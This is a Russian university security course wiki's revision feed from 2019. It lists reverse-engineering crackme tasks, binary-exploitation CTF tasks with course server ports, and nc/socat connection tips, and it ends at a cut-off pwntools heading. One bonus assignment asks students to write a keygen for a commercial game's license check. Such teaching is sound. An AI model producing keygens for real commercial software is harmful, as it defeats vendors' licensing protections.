| linked_lists&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9300&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание 1 (imgenhancer) ===&lt;br /&gt;
&lt;br /&gt;
В этом задании есть два флага. Ко второй части задания рекомендуется приступать после семинара 26 марта.&lt;br /&gt;
&lt;br /&gt;
* http://imgenhancer.tasks.course.secsem.ru/&lt;br /&gt;
* [[Media:2019 pwn imgenhancer.zip]]&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=233</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=233"/>
		<updated>2019-03-30T15:56:23Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Основные задания */ typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задания по реверс-инжинирингу ==&lt;br /&gt;
&lt;br /&gt;
=== Обязательные задания ===&lt;br /&gt;
Задания по этой теме реализованы в формате типичного crackme/задания на реверс на task-based CTF.&lt;br /&gt;
&lt;br /&gt;
Дан исполняемый файл для ОС Linux. Нужно подобрать такой ввод, чтобы некая проверка внутри была пройдена. В случае успеха программа будет явно писать фразу в духе &amp;quot;успех&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для зачисления баллов необходимо написать небольшой отчет о проделанной работе: какие инструменты были использованы, какие алгоритмы проверки ввода используются в задании, каким образом вы это поняли Отчет не обязан быть написан строго формально, но должен быть читаемым и понятным. Отчет нужно отправлять на почту mailto:wgh+secsem2019@seclab.cs.msu.ru. К отчету также необходимо приложить ваше имя/никнейм, которые вы использовали в [https://dashboard.course.secsem.ru/ дэшборде] при сдаче заданий по вебу, чтобы мы могли зачислить вам очки.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 10 апреля 2019, 23:59 MSK.&lt;br /&gt;
&lt;br /&gt;
; [[Media:2019 reverse task 1.zip]]&lt;br /&gt;
: При написании генератора ключей начисляется 150 баллов (генератор должен быть приложен к отчету), при получении одного валидного ключа - 100 баллов.&lt;br /&gt;
; [[Media:2019 reverse task 2.zip]]&lt;br /&gt;
: При успешном выполнении задания начисляется 150 баллов.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание ===&lt;br /&gt;
Требуется разреверсить алгоритм проверки лицензионных ключей у компьютерной игры по выбору, и написать генератор ключей&amp;lt;ref&amp;gt;Игра конечно же должна быть законно приобретена вами.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Разрешается объединяться в группы до трех человек, в исключительных случаях - до четырех.&lt;br /&gt;
&lt;br /&gt;
Чтобы не было ситуации, что несколько разных групп пишут кейген для одной и той же игры, игру нужно предварительно &amp;quot;забронировать&amp;quot;, написав мне письмо (mailto:wgh+secsem2019@seclab.cs.msu.ru).&lt;br /&gt;
&lt;br /&gt;
Поскольку это задание обладает значительным элементом рандома, и вы можете неудачно выбрать непосильную игру (код может оказаться безумно сложным, включать в себя антиотладочные механизмы, и т.д.), можно забронировать до 3 различных игр, и сдать то, что получится.&lt;br /&gt;
&lt;br /&gt;
Игры, у которых подробно описан алгоритм проверки ключа где-либо в интернете, не принимаются. Если строго, на момент бронирования игры на первых 5 страницах поиска в Google по запросу &amp;quot;&amp;lt;game name&amp;gt; cd key keygen reverse&amp;quot; не должно быть статьи с описанием алгоритма. По этому критерию сразу отсеиваются игры Half-Life и Starcraft.&lt;br /&gt;
&lt;br /&gt;
Результатом выполнения задания является должен быть отчет в таком же формате, как и в обязательных заданиях. Более качественный и подробный (без доведения до абсурда) отчет будет оцениваться выше.&lt;br /&gt;
&lt;br /&gt;
Оценка выставляется от 300 до бесконечности субъективно в зависимости от сложности проделанной работы и качества отчета. Например, UT2004, разобранный на семинаре, стоил бы где-то 500-600 баллов. Оценка будет выставлена после дедлайна (приблизительная оценка может быть сообщена ранее).&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 23:59, 21 апреля 2019.&lt;br /&gt;
&lt;br /&gt;
== Задания по эксплуатации бинарных уязвимостей ==&lt;br /&gt;
&lt;br /&gt;
Правила такие же, как и в [[Введение в практическую безопасность (2019)/Задания по вебу|заданиях по вебу]]: найдите флаг и сдайте его в [https://dashboard.course.secsem.ru/ принимающую систему]. Писать отчет не требуется.&lt;br /&gt;
&lt;br /&gt;
=== Основные задания ===&lt;br /&gt;
&lt;br /&gt;
Бинарники можно скачать по этой ссылке: [[Media:2019 pwn tasks.tar.gz]]. Все задания работают на Ubuntu 16.04.&lt;br /&gt;
&lt;br /&gt;
См. также [[/Указания]], где есть советы по подключению к сервисам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Название&lt;br /&gt;
! Стоимость&lt;br /&gt;
! Хост и порт&lt;br /&gt;
|-&lt;br /&gt;
| www&lt;br /&gt;
| 50&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9400&lt;br /&gt;
|-&lt;br /&gt;
| locked_down&lt;br /&gt;
| 75&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9000&lt;br /&gt;
|-&lt;br /&gt;
| easyrop&lt;br /&gt;
| 100&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9100&lt;br /&gt;
|-&lt;br /&gt;
| easyrop (harder)&lt;br /&gt;
| 125&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9101&lt;br /&gt;
|-&lt;br /&gt;
| ROPN&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9200&lt;br /&gt;
|-&lt;br /&gt;
| linked_lists&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9300&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание 1 (imgenhancer) ===&lt;br /&gt;
&lt;br /&gt;
В этом задании есть два флага. Ко второй части задания рекомендуется приступать после семинара 26 марта.&lt;br /&gt;
&lt;br /&gt;
* http://imgenhancer.tasks.course.secsem.ru/&lt;br /&gt;
* [[Media:2019 pwn imgenhancer.zip]]&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=232</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=232"/>
		<updated>2019-03-30T15:55:33Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Задания по эксплуатации бинарных уязвимостей */ заголовки&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задания по реверс-инжинирингу ==&lt;br /&gt;
&lt;br /&gt;
=== Обязательные задания ===&lt;br /&gt;
Задания по этой теме реализованы в формате типичного crackme/задания на реверс на task-based CTF.&lt;br /&gt;
&lt;br /&gt;
Дан исполняемый файл для ОС Linux. Нужно подобрать такой ввод, чтобы некая проверка внутри была пройдена. В случае успеха программа будет явно писать фразу в духе &amp;quot;успех&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для зачисления баллов необходимо написать небольшой отчет о проделанной работе: какие инструменты были использованы, какие алгоритмы проверки ввода используются в задании, каким образом вы это поняли Отчет не обязан быть написан строго формально, но должен быть читаемым и понятным. Отчет нужно отправлять на почту mailto:wgh+secsem2019@seclab.cs.msu.ru. К отчету также необходимо приложить ваше имя/никнейм, которые вы использовали в [https://dashboard.course.secsem.ru/ дэшборде] при сдаче заданий по вебу, чтобы мы могли зачислить вам очки.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 10 апреля 2019, 23:59 MSK.&lt;br /&gt;
&lt;br /&gt;
; [[Media:2019 reverse task 1.zip]]&lt;br /&gt;
: При написании генератора ключей начисляется 150 баллов (генератор должен быть приложен к отчету), при получении одного валидного ключа - 100 баллов.&lt;br /&gt;
; [[Media:2019 reverse task 2.zip]]&lt;br /&gt;
: При успешном выполнении задания начисляется 150 баллов.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание ===&lt;br /&gt;
Требуется разреверсить алгоритм проверки лицензионных ключей у компьютерной игры по выбору, и написать генератор ключей&amp;lt;ref&amp;gt;Игра конечно же должна быть законно приобретена вами.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Разрешается объединяться в группы до трех человек, в исключительных случаях - до четырех.&lt;br /&gt;
&lt;br /&gt;
Чтобы не было ситуации, что несколько разных групп пишут кейген для одной и той же игры, игру нужно предварительно &amp;quot;забронировать&amp;quot;, написав мне письмо (mailto:wgh+secsem2019@seclab.cs.msu.ru).&lt;br /&gt;
&lt;br /&gt;
Поскольку это задание обладает значительным элементом рандома, и вы можете неудачно выбрать непосильную игру (код может оказаться безумно сложным, включать в себя антиотладочные механизмы, и т.д.), можно забронировать до 3 различных игр, и сдать то, что получится.&lt;br /&gt;
&lt;br /&gt;
Игры, у которых подробно описан алгоритм проверки ключа где-либо в интернете, не принимаются. Если строго, на момент бронирования игры на первых 5 страницах поиска в Google по запросу &amp;quot;&amp;lt;game name&amp;gt; cd key keygen reverse&amp;quot; не должно быть статьи с описанием алгоритма. По этому критерию сразу отсеиваются игры Half-Life и Starcraft.&lt;br /&gt;
&lt;br /&gt;
Результатом выполнения задания является должен быть отчет в таком же формате, как и в обязательных заданиях. Более качественный и подробный (без доведения до абсурда) отчет будет оцениваться выше.&lt;br /&gt;
&lt;br /&gt;
Оценка выставляется от 300 до бесконечности субъективно в зависимости от сложности проделанной работы и качества отчета. Например, UT2004, разобранный на семинаре, стоил бы где-то 500-600 баллов. Оценка будет выставлена после дедлайна (приблизительная оценка может быть сообщена ранее).&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 23:59, 21 апреля 2019.&lt;br /&gt;
&lt;br /&gt;
== Задания по эксплуатации бинарных уязвимостей ==&lt;br /&gt;
&lt;br /&gt;
Правила такие же, как и в [[Введение в практическую безопасность (2019)/Задания по вебу|заданиях по вебу]]: найдите флаг и сдайте его в [https://dashboard.course.secsem.ru/ принимающую систему]. Писать отчет не требуется.&lt;br /&gt;
&lt;br /&gt;
=== Основные задания ===&lt;br /&gt;
и&lt;br /&gt;
Бинарники можно скачать по этой ссылке: [[Media:2019 pwn tasks.tar.gz]]. Все задания работают на Ubuntu 16.04.&lt;br /&gt;
&lt;br /&gt;
См. также [[/Указания]], где есть советы по подключению к сервисам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Название&lt;br /&gt;
! Стоимость&lt;br /&gt;
! Хост и порт&lt;br /&gt;
|-&lt;br /&gt;
| www&lt;br /&gt;
| 50&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9400&lt;br /&gt;
|-&lt;br /&gt;
| locked_down&lt;br /&gt;
| 75&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9000&lt;br /&gt;
|-&lt;br /&gt;
| easyrop&lt;br /&gt;
| 100&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9100&lt;br /&gt;
|-&lt;br /&gt;
| easyrop (harder)&lt;br /&gt;
| 125&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9101&lt;br /&gt;
|-&lt;br /&gt;
| ROPN&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9200&lt;br /&gt;
|-&lt;br /&gt;
| linked_lists&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9300&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание 1 (imgenhancer) ===&lt;br /&gt;
&lt;br /&gt;
В этом задании есть два флага. Ко второй части задания рекомендуется приступать после семинара 26 марта.&lt;br /&gt;
&lt;br /&gt;
* http://imgenhancer.tasks.course.secsem.ru/&lt;br /&gt;
* [[Media:2019 pwn imgenhancer.zip]]&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=231</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=231"/>
		<updated>2019-03-30T15:54:05Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Задания по эксплуатации бинарных уязвимостей */ основные задания&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задания по реверс-инжинирингу ==&lt;br /&gt;
&lt;br /&gt;
=== Обязательные задания ===&lt;br /&gt;
Задания по этой теме реализованы в формате типичного crackme/задания на реверс на task-based CTF.&lt;br /&gt;
&lt;br /&gt;
Дан исполняемый файл для ОС Linux. Нужно подобрать такой ввод, чтобы некая проверка внутри была пройдена. В случае успеха программа будет явно писать фразу в духе &amp;quot;успех&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для зачисления баллов необходимо написать небольшой отчет о проделанной работе: какие инструменты были использованы, какие алгоритмы проверки ввода используются в задании, каким образом вы это поняли Отчет не обязан быть написан строго формально, но должен быть читаемым и понятным. Отчет нужно отправлять на почту mailto:wgh+secsem2019@seclab.cs.msu.ru. К отчету также необходимо приложить ваше имя/никнейм, которые вы использовали в [https://dashboard.course.secsem.ru/ дэшборде] при сдаче заданий по вебу, чтобы мы могли зачислить вам очки.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 10 апреля 2019, 23:59 MSK.&lt;br /&gt;
&lt;br /&gt;
; [[Media:2019 reverse task 1.zip]]&lt;br /&gt;
: При написании генератора ключей начисляется 150 баллов (генератор должен быть приложен к отчету), при получении одного валидного ключа - 100 баллов.&lt;br /&gt;
; [[Media:2019 reverse task 2.zip]]&lt;br /&gt;
: При успешном выполнении задания начисляется 150 баллов.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание ===&lt;br /&gt;
Требуется разреверсить алгоритм проверки лицензионных ключей у компьютерной игры по выбору, и написать генератор ключей&amp;lt;ref&amp;gt;Игра конечно же должна быть законно приобретена вами.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Разрешается объединяться в группы до трех человек, в исключительных случаях - до четырех.&lt;br /&gt;
&lt;br /&gt;
Чтобы не было ситуации, что несколько разных групп пишут кейген для одной и той же игры, игру нужно предварительно &amp;quot;забронировать&amp;quot;, написав мне письмо (mailto:wgh+secsem2019@seclab.cs.msu.ru).&lt;br /&gt;
&lt;br /&gt;
Поскольку это задание обладает значительным элементом рандома, и вы можете неудачно выбрать непосильную игру (код может оказаться безумно сложным, включать в себя антиотладочные механизмы, и т.д.), можно забронировать до 3 различных игр, и сдать то, что получится.&lt;br /&gt;
&lt;br /&gt;
Игры, у которых подробно описан алгоритм проверки ключа где-либо в интернете, не принимаются. Если строго, на момент бронирования игры на первых 5 страницах поиска в Google по запросу &amp;quot;&amp;lt;game name&amp;gt; cd key keygen reverse&amp;quot; не должно быть статьи с описанием алгоритма. По этому критерию сразу отсеиваются игры Half-Life и Starcraft.&lt;br /&gt;
&lt;br /&gt;
Результатом выполнения задания является должен быть отчет в таком же формате, как и в обязательных заданиях. Более качественный и подробный (без доведения до абсурда) отчет будет оцениваться выше.&lt;br /&gt;
&lt;br /&gt;
Оценка выставляется от 300 до бесконечности субъективно в зависимости от сложности проделанной работы и качества отчета. Например, UT2004, разобранный на семинаре, стоил бы где-то 500-600 баллов. Оценка будет выставлена после дедлайна (приблизительная оценка может быть сообщена ранее).&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 23:59, 21 апреля 2019.&lt;br /&gt;
&lt;br /&gt;
== Задания по эксплуатации бинарных уязвимостей ==&lt;br /&gt;
&lt;br /&gt;
Правила такие же, как и в [[Введение в практическую безопасность (2019)/Задания по вебу|заданиях по вебу]]: найдите флаг и сдайте его в [https://dashboard.course.secsem.ru/ принимающую систему]. Писать отчет не требуется.&lt;br /&gt;
&lt;br /&gt;
Бинарники можно скачать по этой ссылке: [[Media:2019 pwn tasks.tar.gz]]. Все задания работают на Ubuntu 16.04.&lt;br /&gt;
&lt;br /&gt;
См. также [[/Указания]], где есть советы по подключению к сервисам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Название&lt;br /&gt;
! Стоимость&lt;br /&gt;
! Хост и порт&lt;br /&gt;
|-&lt;br /&gt;
| www&lt;br /&gt;
| 50&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9400&lt;br /&gt;
|-&lt;br /&gt;
| locked_down&lt;br /&gt;
| 75&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9000&lt;br /&gt;
|-&lt;br /&gt;
| easyrop&lt;br /&gt;
| 100&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9100&lt;br /&gt;
|-&lt;br /&gt;
| easyrop (harder)&lt;br /&gt;
| 125&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9101&lt;br /&gt;
|-&lt;br /&gt;
| ROPN&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9200&lt;br /&gt;
|-&lt;br /&gt;
| linked_lists&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9300&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание 1 (imgenhancer) ===&lt;br /&gt;
&lt;br /&gt;
Правила такие же, как и в [[Введение в практическую безопасность (2019)/Задания по вебу|заданиях по вебу]]: найдите флаг и сдайте его в [https://dashboard.course.secsem.ru/ принимающую систему]. Писать отчет не требуется.&lt;br /&gt;
&lt;br /&gt;
В этом задании есть два флага. Ко второй части задания рекомендуется приступать после семинара 26 марта.&lt;br /&gt;
&lt;br /&gt;
* http://imgenhancer.tasks.course.secsem.ru/&lt;br /&gt;
* [[Media:2019 pwn imgenhancer.zip]]&lt;br /&gt;
&lt;br /&gt;
По всем вопросам можно писать на почту mailto:wgh+secsem2019@seclab.cs.msu.ru или в Matrix https://matrix.to/#/@WGH:torlan.ru.&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9/%D0%A3%D0%BA%D0%B0%D0%B7%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=230</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей/Указания</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9/%D0%A3%D0%BA%D0%B0%D0%B7%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=230"/>
		<updated>2019-03-30T15:44:29Z</updated>

		<summary type="html">&lt;p&gt;WGH: как подключаться и подобные мелочи&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Подключение к заданиям ==&lt;br /&gt;
&lt;br /&gt;
Большинство заданий реализованы в виде интерактивных программ, реализующий простой текстовый интерфейс. При подключении к серверу будет автоматически запущен экземпляр программы, и вы сможете взаимодействовать с ним точно так же, как если бы вы запустили программу локально.&lt;br /&gt;
&lt;br /&gt;
В описании заданий указаны имя хоста и порт. Чтобы подключиться к ним интерактивно, вы можете воспользоваться любой из следующих программ:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nc $HOST $PORT&lt;br /&gt;
socat - &amp;quot;TCP:$HOST:$PORT&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В сети BMK_WIFI_FREE нестандартные порты заблокированы, и подключиться к сервисам, к сожалению, не получится.&lt;br /&gt;
&lt;br /&gt;
== Написание эксплоита на pwntools ==&lt;br /&gt;
&lt;br /&gt;
